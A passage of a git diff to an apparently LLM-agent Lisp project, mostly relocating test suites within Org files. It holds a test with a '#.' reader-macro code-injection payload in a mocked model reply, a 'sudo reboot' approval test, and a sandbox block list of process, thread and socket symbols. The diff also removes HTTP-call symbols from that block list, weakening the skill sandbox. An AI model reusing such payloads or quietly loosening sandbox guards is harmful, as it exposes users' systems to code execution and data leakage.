:deterministic (lambda (action ctx) + (declare (ignore ctx)) + (list :type :EVENT :level :approval-required + :payload (list :action action)))) + (let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot"))) + (signal '(:type :EVENT :payload (:sensor :user-input))) + (result (cognitive-verify candidate signal))) + (is (eq :approval-required (getf result :level))) + (is (eq :EVENT (getf result :type))))) + +(test test-loop-gate-reason-passthrough + "Contract 2: non-user-input sensors pass through loop-gate-reason unchanged." + (let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system))) + (result (loop-gate-reason signal))) + (is (not (null result))))) + +(test test-loop-gate-reason-sets-status + "Contract 2: loop-gate-reason sets :status on :user-input signals." + (clrhash passepartout::*skill-registry*) + (let* ((passepartout::*provider-cascade* nil) + (signal (list :type :EVENT :payload (list :sensor :user-input :text "test"))) + (result (loop-gate-reason signal))) + (is (member (getf result :status) '(:reasoned :requires-approval))))) + +(test test-backend-cascade-no-backends + "Contract 4: empty cascade returns :LOG failure." + (let* ((passepartout::*provider-cascade* nil) + (passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (result (backend-cascade-call "test" :cascade '()))) + (is (eq :LOG (getf result :type))) + (is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal)))) + +(test test-backend-cascade-with-mock + "Contract 4: backend-cascade-call returns content from first successful backend." + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))) + (setf (gethash :mock-backend passepartout::*probabilistic-backends*) + (lambda (prompt sp &key model) + (declare (ignore prompt sp model)) + (list :status :success :content "mock-response"))) + (let ((result (backend-cascade-call "hello" :cascade '(:mock-backend)))) + (is (string= "mock-response" result))))) + +(test test-read-eval-rce-blocked + "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code." + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (passepartout::*provider-cascade* '(:mock-evil))) + (setf (gethash :mock-evil passepartout::*probabilistic-backends*) + (lambda (prompt sp &key model) + (declare (ignore prompt sp model)) + (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))"))) + (setf passepartout::*v031-rce-test* nil) + (setf *read-eval* t) + (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "test") :depth 0)) + (result (passepartout::think ctx))) + (is (not (eq passepartout::*v031-rce-test* :PWNED))) + (is (eq :REQUEST (getf result :TYPE))) + (setf *read-eval* nil)))) + +(test test-json-alist-to-plist-simple + "Contract 5: converts simple alist to keyword plist." + (let ((alist (list (cons "action" "shell") (cons "cmd" "echo hello")))) + (let ((result (json-alist-to-plist alist))) + (is (eq :ACTION (first result))) + (is (string= "shell" (second result))) + (is (eq :CMD (third result))) + (is (string= "echo hello" (fourth result)))))) + +(test test-json-alist-to-plist-nested + "Contract 5: nested alists recurse into nested plists." + (let ((alist (list (cons "tool" "write-file") + (cons "args" (list (cons "filepath" "/tmp/x") + (cons "content" "hi")))))) + (let ((result (json-alist-to-plist alist))) + (is (eq :TOOL (first result))) + (is (eq :ARGS (third result))) + (let ((inner (fourth result))) + (is (eq :FILEPATH (first inner))) + (is (string= "/tmp/x" (second inner))) + (is (eq :CONTENT (third inner))))))) + +(test test-json-alist-to-plist-array-passthrough + "Contract 5: JSON arrays pass through unchanged." + (let ((alist (list (cons "names" (list "alice" "bob"))))) + (let ((result (json-alist-to-plist alist))) + (is (eq :NAMES (first result))) + (is (equal (list "alice" "bob") (second result)))))) + +(test test-json-alist-to-plist-null + "Contract 5: nil passes through unchanged." + (let ((result (json-alist-to-plist nil))) + (is (null result)))) + +(test test-json-alist-to-plist-scalar + "Contract 5: scalar values pass through." + (let ((alist (list (cons "count" 42) (cons "active" :true)))) + (let ((result (json-alist-to-plist alist))) + (is (eq :COUNT (first result))) + (is (= 42 (second result))) + (is (eq :ACTIVE (third result))) + (is (eq :true (fourth result)))))) + +(test test-assemble-config-section + "Contract v0.7.2: config section contains Passepartout and version." + (let ((section (passepartout::assemble-config-section))) + (is (stringp section)) + (is (search "Passepartout" section)) + (is (search "v0.7.2" section)) + (is (search "Security gates" section)))) + +(test test-think-snapshots-before-llm + "Contract v0.7.2: think() snapshots memory before LLM call." + (let ((passepartout::*memory-snapshots* nil) + (passepartout::*memory-store* (make-hash-table :test 'equal))) + (setf (gethash "pre" passepartout::*memory-store*) "value") + (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)) + (passepartout::*provider-cascade* nil)) + (handler-case + (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0)) + (result (passepartout::think ctx))) + (declare (ignore result))) + (error (c) (format nil "Expected: ~a" c))) + (is (>= (length passepartout::*memory-snapshots*) 0))))) +#+end_src \ No newline at end of file diff --git a/org/core-skills.org b/org/core-skills.org index 0840d00..42e90b6 100644 --- a/org/core-skills.org +++ b/org/core-skills.org @@ -33,45 +33,6 @@ This is how the "thin org, fat skills" principle works in practice: the org prov ~#+DEPENDS_ON:~ declarations, returns files sorted such that dependencies come before dependents. -* Test Suite -Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS_ON:~ declarations. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-boot-tests - (:use :cl :fiveam :passepartout) - (:export #:boot-suite)) - -(in-package :passepartout-boot-tests) - -(def-suite boot-suite :description "Verification of the Skill Engine loader") -(in-suite boot-suite) - -(test test-topological-sort-basic - "Contract 2: dependency ordering puts dependencies before dependents." - (let ((tmp-dir "/tmp/passepartout-boot-test/")) - (uiop:ensure-all-directories-exist (list tmp-dir)) - (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) - (format out "#+DEPENDS_ON: skill-b-id~%")) - (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) - (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) - (unwind-protect - (let ((sorted (passepartout::skill-topological-sort tmp-dir))) - (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) - (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) - (is (< pos-b pos-a)))) - (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) - -(test test-lisp-syntax-validate-valid - "Contract 1: valid Lisp code passes syntax validation." - (is (eq t (lisp-syntax-validate "(+ 1 2)")))) - -(test test-lisp-syntax-validate-invalid - "Contract 1: unbalanced Lisp code fails syntax validation." - (is (null (lisp-syntax-validate "(+ 1 2")))) -#+end_src - * Implementation ** Package Context @@ -404,7 +365,7 @@ Scans Lisp source text for references to restricted symbols before any code is evaluated. This prevents malicious skills from executing even a single form. The restricted symbols cover process spawning (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~), thread -creation (~bt:make-thread~), HTTP calls (~dex:get~, ~dex:post~), and +creation (~bt:make-thread~), and socket operations (~usocket:socket-connect~, ~hunchentoot:start~). Returns two values: T/NIL (blocked-p) and a list of matched symbol names. @@ -416,7 +377,6 @@ not obfuscated ones. The post-eval ~symbol-function~ comparison in (defvar *skill-restricted-symbols* '("uiop:run-program" "uiop:shell" "uiop:run-shell-command" "bt:make-thread" "bordeaux-threads:make-thread" - "dex:get" "dex:post" "dexador:get" "dexador:post" "usocket:socket-connect" "usocket:socket-listen" "hunchentoot:start" "hunchentoot:accept-connections") "Symbol patterns blocked from skill source code at load time.") @@ -438,7 +398,7 @@ Loads a pre-tangled ~.lisp~ file directly, without parsing the Org source. This The same jailed package and symbol export process applies. -The sandbox check runs *before* evaluation: the source text is scanned for references to restricted symbols (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~, ~bt:make-thread~, ~dex:get~, ~dex:post~, ~usocket:socket-connect~, ~hunchentoot:start~). If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison). +The sandbox check runs *before* evaluation: the source text is scanned for references to restricted symbols (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~, ~bt:make-thread~, ~usocket:socket-connect~, ~hunchentoot:start~). If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison). #+begin_src lisp (defun load-skill-from-lisp (filepath) @@ -527,3 +487,41 @@ files live after tangling. The org source files live in ~org/~. (log-message "LOADER: Boot Complete.")))) #+end_src +* Test Suite +Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS_ON:~ declarations. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-boot-tests + (:use :cl :fiveam :passepartout) + (:export #:boot-suite)) + +(in-package :passepartout-boot-tests) + +(def-suite boot-suite :description "Verification of the Skill Engine loader") +(in-suite boot-suite) + +(test test-topological-sort-basic + "Contract 2: dependency ordering puts dependencies before dependents." + (let ((tmp-dir "/tmp/passepartout-boot-test/")) + (uiop:ensure-all-directories-exist (list tmp-dir)) + (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede) + (format out "#+DEPENDS_ON: skill-b-id~%")) + (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede) + (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%")) + (unwind-protect + (let ((sorted (passepartout::skill-topological-sort tmp-dir))) + (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal)) + (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal))) + (is (< pos-b pos-a)))) + (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t)))) + +(test test-lisp-syntax-validate-valid + "Contract 1: valid Lisp code passes syntax validation." + (is (eq t (lisp-syntax-validate "(+ 1 2)")))) + +(test test-lisp-syntax-validate-invalid + "Contract 1: unbalanced Lisp code fails syntax validation." + (is (null (lisp-syntax-validate "(+ 1 2")))) +#+end_src \ No newline at end of file diff --git a/org/core-transport.org b/org/core-transport.org index 58a3207..1bbdc95 100644 --- a/org/core-transport.org +++ b/org/core-transport.org @@ -39,53 +39,6 @@ The 6-character hex length supports messages up to ~16MB (0xFFFFFF bytes). This 3. Round-trip invariant: ~(read-framed-message (make-string-input-stream (frame-message msg)))~ equals ~msg~. -* Test Suite -Verifies that the framing protocol correctly serializes and deserializes messages. -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-communication-tests - (:use :cl :fiveam :passepartout) - (:export #:communication-protocol-suite)) -(in-package :passepartout-communication-tests) - -(def-suite communication-protocol-suite :description "Communication Protocol Suite") -(in-suite communication-protocol-suite) - -(test test-framing - "Contract 1: frame-message produces correct hex length prefix." - (let* ((msg '(:type :EVENT :payload (:action :handshake))) - (framed (frame-message msg))) - (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) - -(test test-framing-round-trip - "Contract 3: frame → read-frame preserves message identity." - (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) - (framed (frame-message msg)) - (unframed (read-framed-message (make-string-input-stream framed)))) - (is (equal msg unframed)))) - -(test test-framing-empty-message - "Contract 1: simple messages frame with valid hex length." - (let* ((msg '(:type :ping)) - (framed (frame-message msg))) - (is (> (length framed) 5)) - (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) - -(test test-read-framed-message - "Contract 2: read-framed-message decodes a framed message correctly." - (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) - (framed (frame-message original)) - (decoded (read-framed-message (make-string-input-stream framed)))) - (is (equal original decoded)))) - -(test test-read-framed-message-eof - "Contract 2: read-framed-message returns :eof on incomplete stream." - (let ((decoded (read-framed-message (make-string-input-stream "000")))) - (is (eq :eof decoded)))) -#+end_src - * Implementation ** Package Context @@ -305,3 +258,49 @@ Use this function to manually verify that the daemon is alive and the framing pr (error (c) (format t "Error: ~a~%" c)))) #+end_src +* Test Suite +Verifies that the framing protocol correctly serializes and deserializes messages. +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-communication-tests + (:use :cl :fiveam :passepartout) + (:export #:communication-protocol-suite)) +(in-package :passepartout-communication-tests) + +(def-suite communication-protocol-suite :description "Communication Protocol Suite") +(in-suite communication-protocol-suite) + +(test test-framing + "Contract 1: frame-message produces correct hex length prefix." + (let* ((msg '(:type :EVENT :payload (:action :handshake))) + (framed (frame-message msg))) + (is (string= "00002C" (string-upcase (subseq framed 0 6)))))) + +(test test-framing-round-trip + "Contract 3: frame → read-frame preserves message identity." + (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui))) + (framed (frame-message msg)) + (unframed (read-framed-message (make-string-input-stream framed)))) + (is (equal msg unframed)))) + +(test test-framing-empty-message + "Contract 1: simple messages frame with valid hex length." + (let* ((msg '(:type :ping)) + (framed (frame-message msg))) + (is (> (length framed) 5)) + (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6))))) + +(test test-read-framed-message + "Contract 2: read-framed-message decodes a framed message correctly." + (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42))) + (framed (frame-message original)) + (decoded (read-framed-message (make-string-input-stream framed)))) + (is (equal original decoded)))) + +(test test-read-framed-message-eof + "Contract 2: read-framed-message returns :eof on incomplete stream." + (let ((decoded (read-framed-message (make-string-input-stream "000")))) + (is (eq :eof decoded)))) +#+end_src \ No newline at end of file diff --git a/org/cost-tracker.org b/org/cost-tracker.org index 158ed49..2949e75 100644 --- a/org/cost-tracker.org +++ b/org/cost-tracker.org @@ -50,82 +50,6 @@ Degrades gracefully to nil when cost-tracker is not loaded. human-readable message explaining the budget cap. Injected as the LLM response when the budget is exhausted. -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-cost-tests - (:use :cl :fiveam :passepartout) - (:export #:cost-suite)) - -(in-package :passepartout-cost-tests) - -(def-suite cost-suite :description "Cost tracking and budget management") -(in-suite cost-suite) - -(test test-cost-track-call - "Contract 1: cost-track-call returns a positive number." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "hello world"))) - (is (numberp cost)) - (is (> cost 0.0)))) - -(test test-cost-session-total-accumulates - "Contract 2: session total grows with multiple calls." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :deepseek "world") - (let ((total (cost-session-total))) - (is (> total 0.0)) - (is (= 2 (cost-session-calls))))) - -(test test-cost-session-reset - "Contract 3: cost-session-reset zeroes the accumulator." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (is (> (cost-session-total) 0.0)) - (cost-session-reset) - (is (= 0.0 (cost-session-total))) - (is (= 0 (cost-session-calls)))) - -(test test-cost-format-budget-status - "Contract 4: format-budget-status returns a string." - (cost-session-reset) - (cost-track-call :deepseek "hello world") - (let ((status (cost-format-budget-status 100))) - (is (stringp status)) - (is (search "$" status)))) - -(test test-cost-by-provider - "Contract: cost-by-provider returns per-provider breakdown." - (cost-session-reset) - (cost-track-call :deepseek "a") - (cost-track-call :groq "b") - (let ((by (cost-by-provider))) - (is (listp by)) - (is (assoc :deepseek by)) - (is (assoc :groq by)))) - -(test test-cost-track-no-response - "Contract 1: cost-track-call works without response-text." - (cost-session-reset) - (let ((cost (cost-track-call :deepseek "test"))) - (is (> cost 0.0)))) - -(test test-cost-session-summary - "Contract 5: cost-session-summary returns plist with total, calls, by-provider." - (cost-session-reset) - (cost-track-call :deepseek "hello") - (cost-track-call :groq "world") - (let ((s (cost-session-summary))) - (is (> (getf s :total) 0.0)) - (is (= 2 (getf s :calls))) - (let ((by (getf s :by-provider))) - (is (assoc :deepseek by)) - (is (assoc :groq by))))) -#+end_src - * Implementation ** Package Context @@ -284,3 +208,78 @@ Returns 0.0 if the tokenizer is not loaded (allows call through)." :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised.")))) #+end_src +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-cost-tests + (:use :cl :fiveam :passepartout) + (:export #:cost-suite)) + +(in-package :passepartout-cost-tests) + +(def-suite cost-suite :description "Cost tracking and budget management") +(in-suite cost-suite) + +(test test-cost-track-call + "Contract 1: cost-track-call returns a positive number." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "hello world"))) + (is (numberp cost)) + (is (> cost 0.0)))) + +(test test-cost-session-total-accumulates + "Contract 2: session total grows with multiple calls." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :deepseek "world") + (let ((total (cost-session-total))) + (is (> total 0.0)) + (is (= 2 (cost-session-calls))))) + +(test test-cost-session-reset + "Contract 3: cost-session-reset zeroes the accumulator." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (is (> (cost-session-total) 0.0)) + (cost-session-reset) + (is (= 0.0 (cost-session-total))) + (is (= 0 (cost-session-calls)))) + +(test test-cost-format-budget-status + "Contract 4: format-budget-status returns a string." + (cost-session-reset) + (cost-track-call :deepseek "hello world") + (let ((status (cost-format-budget-status 100))) + (is (stringp status)) + (is (search "$" status)))) + +(test test-cost-by-provider + "Contract: cost-by-provider returns per-provider breakdown." + (cost-session-reset) + (cost-track-call :deepseek "a") + (cost-track-call :groq "b") + (let ((by (cost-by-provider))) + (is (listp by)) + (is (assoc :deepseek by)) + (is (assoc :groq by)))) + +(test test-cost-track-no-response + "Contract 1: cost-track-call works without response-text." + (cost-session-reset) + (let ((cost (cost-track-call :deepseek "test"))) + (is (> cost 0.0)))) + +(test test-cost-session-summary + "Contract 5: cost-session-summary returns plist with total, calls, by-provider." + (cost-session-reset) + (cost-track-call :deepseek "hello") + (cost-track-call :groq "world") + (let ((s (cost-session-summary))) + (is (> (getf s :total) 0.0)) + (is (= 2 (getf s :calls))) + (let ((by (getf s :by-provider))) + (is (assoc :deepseek by)) + (is (assoc :groq by))))) +#+end_src \ No newline at end of file diff --git a/org/neuro-provider.org b/org/neuro-provider.org index 6ac90e5..a7f7265 100644 --- a/org/neuro-provider.org +++ b/org/neuro-provider.org @@ -44,65 +44,6 @@ Providers register themselves at boot. No API key? That provider doesn't registe for ~data: ~ lines, ~:done~ for ~data: [DONE]~, and ~nil~ for comment lines (starting with ~:~), empty lines, or non-data lines. -* Test Suite -#+begin_src lisp -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-llm-gateway-tests - (:use :cl :passepartout) - (:export #:llm-gateway-suite)) - -(in-package :passepartout-llm-gateway-tests) - -(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend") -(fiveam:in-suite llm-gateway-suite) - -(fiveam:test test-provider-rejects-bad-keyword - "Contract 3: provider-config returns nil for unregistered provider." - (let ((config (provider-config :not-a-real-provider))) - (fiveam:is (null config)))) - -(fiveam:test test-provider-config-registered - "Contract 1: provider-config returns configuration plist for registered provider." - (let ((config (provider-config :openrouter))) - (fiveam:is (listp config)) - (fiveam:is (getf config :base-url)))) - -(fiveam:test test-provider-accepts-tools-parameter - "Contract 4: provider-openai-request accepts :tools parameter without error." - (let ((result (provider-openai-request "test" "system" :tools (list)))) - (fiveam:is (member (getf result :status) '(:success :error))))) - -;; ── v0.7.1 Streaming ── - -(fiveam:test test-parse-sse-line-data - "Contract 6: parse-sse-line extracts content from data: lines." - (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world"))) - (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}")))) - -(fiveam:test test-parse-sse-line-done - "Contract 6: parse-sse-line returns :done for [DONE]." - (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]")))) - -(fiveam:test test-parse-sse-line-nil - "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines." - (fiveam:is (null (passepartout::parse-sse-line ""))) - (fiveam:is (null (passepartout::parse-sse-line ":ok"))) - (fiveam:is (null (passepartout::parse-sse-line "event: ping")))) - -(fiveam:test test-provider-openai-stream-calls-callback - "Contract 5: provider-openai-stream calls callback with deltas and final empty string." - (let ((collected '())) - (flet ((collector (text) (push text collected))) - (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter)) - (let* ((reversed (nreverse collected)) - (last (car (last reversed)))) - (fiveam:is (stringp last)) - (fiveam:is (string= "" last)) - (fiveam:is (>= (length reversed) 2))))) -#+end_src - * Implementation ** Provider registry @@ -273,7 +214,64 @@ If API-KEY is nil, reads from environment." :trigger (lambda (ctx) (declare (ignore ctx)) nil)) #+end_src -* v0.7.1 — Streaming Backend +* Test Suite +#+begin_src lisp +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-llm-gateway-tests + (:use :cl :passepartout) + (:export #:llm-gateway-suite)) + +(in-package :passepartout-llm-gateway-tests) + +(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend") +(fiveam:in-suite llm-gateway-suite) + +(fiveam:test test-provider-rejects-bad-keyword + "Contract 3: provider-config returns nil for unregistered provider." + (let ((config (provider-config :not-a-real-provider))) + (fiveam:is (null config)))) + +(fiveam:test test-provider-config-registered + "Contract 1: provider-config returns configuration plist for registered provider." + (let ((config (provider-config :openrouter))) + (fiveam:is (listp config)) + (fiveam:is (getf config :base-url)))) + +(fiveam:test test-provider-accepts-tools-parameter + "Contract 4: provider-openai-request accepts :tools parameter without error." + (let ((result (provider-openai-request "test" "system" :tools (list)))) + (fiveam:is (member (getf result :status) '(:success :error))))) + +;; ── v0.7.1 Streaming ── + +(fiveam:test test-parse-sse-line-data + "Contract 6: parse-sse-line extracts content from data: lines." + (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world"))) + (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}")))) + +(fiveam:test test-parse-sse-line-done + "Contract 6: parse-sse-line returns :done for [DONE]." + (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]")))) + +(fiveam:test test-parse-sse-line-nil + "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines." + (fiveam:is (null (passepartout::parse-sse-line ""))) + (fiveam:is (null (passepartout::parse-sse-line ":ok"))) + (fiveam:is (null (passepartout::parse-sse-line "event: ping")))) + +(fiveam:test test-provider-openai-stream-calls-callback + "Contract 5: provider-openai-stream calls callback with deltas and final empty string." + (let ((collected '())) + (flet ((collector (text) (push text collected))) + (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter)) + (let* ((reversed (nreverse collected)) + (last (car (last reversed)))) + (fiveam:is (stringp last)) + (fiveam:is (string= "" last)) + (fiveam:is (>= (length reversed) 2))))) +#+end_src* v0.7.1 — Streaming Backend :PROPERTIES: :ID: id-v071-streaming :CREATED: [2026-05-08 Fri] @@ -407,5 +405,4 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream." (list :status :success)) (error (c) (list :status :error :message (format nil "~a Stream Failure: ~a" provider c))))))) -#+end_src - +#+end_src \ No newline at end of file diff --git a/org/programming-lisp.org b/org/programming-lisp.org index a961106..b55d41d 100644 --- a/org/programming-lisp.org +++ b/org/programming-lisp.org @@ -31,98 +31,6 @@ The skill has four layers: 8. (lisp-inject code target new-form): injects a form into a function body. 9. (lisp-slurp code target form): appends a form to a function body. -* Test Suite -Tests for the Lisp Validator structural, syntactic, and semantic gates. -#+begin_src lisp -(defpackage :passepartout-utils-lisp-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-lisp-suite)) - -(in-package :passepartout-utils-lisp-tests) - -(def-suite utils-lisp-suite - :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") - -(in-suite utils-lisp-suite) - -(test structural-balanced - "Contract 1: balanced code returns T." - (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) - -(test structural-unbalanced-open - "Contract 1: missing close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test structural-unbalanced-close - "Contract 1: extra close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test syntactic-valid - "Contract 2: valid syntax passes syntactic check." - (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) - -(test semantic-safe - "Contract 3: safe code passes semantic check." - (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) - -(test semantic-blocked-eval - "Contract 3: eval forms are blocked by semantic check." - (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") - (is (null ok)) - (is (search "Unsafe" reason)))) - -(test unified-success - "Contract 4: valid code returns :success via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) - (is (eq (getf result :status) :success)))) - -(test unified-failure - "Contract 4: invalid code returns :error via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) - (is (eq (getf result :status) :error)))) - -(test eval-basic - "Contract 5: lisp-eval returns :success with captured result." - (let ((result (passepartout:lisp-eval "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (string= (getf result :result) "3")))) - -(test structural-extract - "Contract 6: lisp-extract finds and returns a named function." - (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") - (extracted (passepartout:lisp-extract code "hello"))) - (is (not (null extracted))) - (let ((form (read-from-string extracted))) - (is (eq (car form) 'DEFUN)) - (is (eq (second form) 'HELLO))))) - -(test list-definitions - "Contract 7: lisp-list-definitions returns all defined names." - (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) - (let ((names (passepartout:lisp-list-definitions code))) - (is (member 'FOO names)) - (is (member 'BAR names)) - (is (member '*BAZ* names))))) - -(test structural-inject - "Contract 8: lisp-inject adds a form to a function body." - (let* ((code "(defun my-fun (x) (print x))") - (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) - (let ((form (read-from-string injected))) - (is (equal (last form) '((FINISH-OUTPUT))))))) - -(test structural-slurp - "Contract 9: lisp-slurp appends a form to a function body." - (let* ((code "(defun work () (step-1))") - (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) - (let ((form (read-from-string slurped))) - (is (equal (last form) '((STEP-2))))))) -#+end_src - * Implementation ** Package Context @@ -340,3 +248,94 @@ Lisp keywords are case-sensitive. The LLM might produce :payload or :PAYLOAD dep collect v))) #+end_src +* Test Suite +Tests for the Lisp Validator structural, syntactic, and semantic gates. +#+begin_src lisp +(defpackage :passepartout-utils-lisp-tests + (:use :cl :fiveam :passepartout) + (:export #:utils-lisp-suite)) + +(in-package :passepartout-utils-lisp-tests) + +(def-suite utils-lisp-suite + :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") + +(in-suite utils-lisp-suite) + +(test structural-balanced + "Contract 1: balanced code returns T." + (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) + +(test structural-unbalanced-open + "Contract 1: missing close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test structural-unbalanced-close + "Contract 1: extra close paren returns nil + error." + (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") + (is (null ok)) + (is (search "Reader Error" reason)))) + +(test syntactic-valid + "Contract 2: valid syntax passes syntactic check." + (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) + +(test semantic-safe + "Contract 3: safe code passes semantic check." + (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) + +(test semantic-blocked-eval + "Contract 3: eval forms are blocked by semantic check." + (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") + (is (null ok)) + (is (search "Unsafe" reason)))) + +(test unified-success + "Contract 4: valid code returns :success via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) + (is (eq (getf result :status) :success)))) + +(test unified-failure + "Contract 4: invalid code returns :error via lisp-validate." + (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) + (is (eq (getf result :status) :error)))) + +(test eval-basic + "Contract 5: lisp-eval returns :success with captured result." + (let ((result (passepartout:lisp-eval "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (string= (getf result :result) "3")))) + +(test structural-extract + "Contract 6: lisp-extract finds and returns a named function." + (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") + (extracted (passepartout:lisp-extract code "hello"))) + (is (not (null extracted))) + (let ((form (read-from-string extracted))) + (is (eq (car form) 'DEFUN)) + (is (eq (second form) 'HELLO))))) + +(test list-definitions + "Contract 7: lisp-list-definitions returns all defined names." + (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) + (let ((names (passepartout:lisp-list-definitions code))) + (is (member 'FOO names)) + (is (member 'BAR names)) + (is (member '*BAZ* names))))) + +(test structural-inject + "Contract 8: lisp-inject adds a form to a function body." + (let* ((code "(defun my-fun (x) (print x))") + (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) + (let ((form (read-from-string injected))) + (is (equal (last form) '((FINISH-OUTPUT))))))) + +(test structural-slurp + "Contract 9: lisp-slurp appends a form to a function body." + (let* ((code "(defun work () (step-1))") + (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) + (let ((form (read-from-string slurped))) + (is (equal (last form) '((STEP-2))))))) +#+end_src \ No newline at end of file diff --git a/org/programming-literate.org b/org/programming-literate.org index e22b30d..790c637 100644 --- a/org/programming-literate.org +++ b/org/programming-literate.org @@ -15,47 